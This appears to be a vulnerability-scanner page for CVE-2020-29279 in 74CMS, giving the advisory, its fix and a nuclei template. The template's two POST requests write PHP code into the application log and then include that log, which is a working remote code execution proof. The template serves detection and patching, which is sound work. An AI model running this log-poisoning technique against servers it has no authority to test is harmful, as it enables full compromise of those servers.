74CMS - Remote File Inclusion

criticalseverity

9.8CVSS score

52.9%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

PHP remote file inclusion in the assign_resume_tpl method in Application/Common/Controller/BaseController.class.php in 74CMS before 6.0.48 allows remote code execution.

Impact

Remote attackers can execute arbitrary code on the server, potentially leading to full system compromise.

Fix

Update to version 6.0.48 or later.

How to confirm it

Send: POST /index.php?m=home&a=assign_resume_tpl
Positive when: status_code == 404 and contains(content_type, "text/html") and contains(body, "ThinkPHP")
Send: POST /index.php?m=home&a=assign_resume_tpl
Positive when: contains "PHP Version" and "{{md5(num)}}" AND status 200

Run it with nuclei: nuclei -id CVE-2020-29279 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-29279

info:
  name: 74CMS - Remote File Inclusion
  author: DhiyaneshDK
  severity: critical
  description: |
    PHP remote file inclusion in the assign_resume_tpl method in Application/Common/Controller/BaseController.class.php in 74CMS before 6.0.48 allows remote code execution.
  impact: |
    Remote attackers can execute arbitrary code on the server, potentially leading to full system compromise.
  remediation: |
    Update to version 6.0.48 or later.
  reference:
    - https://github.com/Ares-X/VulWiki/blob/master/Web%E5%AE%89%E5%85%A8/74cms/74cms%20v6.0.48%E6%A8%A1%E7%89%88%E6%B3%A8%E5%85%A5%2B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%ABgetshell.md
    - https://www.wangan.com/p/7fyg8ka5a6f81cb6
    - https://cloud.tencent.com/developer/article/1856739
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-29279
    epss-score: 0.52881
    epss-percentile: 0.98983
    cpe: cpe:2.3:a:74cms:74cms:*:*:*:*:*:*:*:*
  metadata:
    vendor: 74cms
    product: 74cms
    fofa-query: app="骑士-74CMS"
  tags: cve,cve2020,74cms,rce,intrusive,file-upload,vkev,vuln

variables:
  num: "999999999"

http:
  - raw:
      - |
        POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        variable=1&tpl=<?php phpinfo(); echo md5("{{num}}");ob_flush();?>

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 404'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "ThinkPHP")'
        condition: and
        internal: true

  - raw:
      - |
        POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        variable=1&tpl=data/Runtime/Logs/Home/{{replace(date_time("%Y"), "20", "")}}_{{date_time("%M_%D",unix_time())}}.log

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "PHP Version"
          - "{{md5(num)}}"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from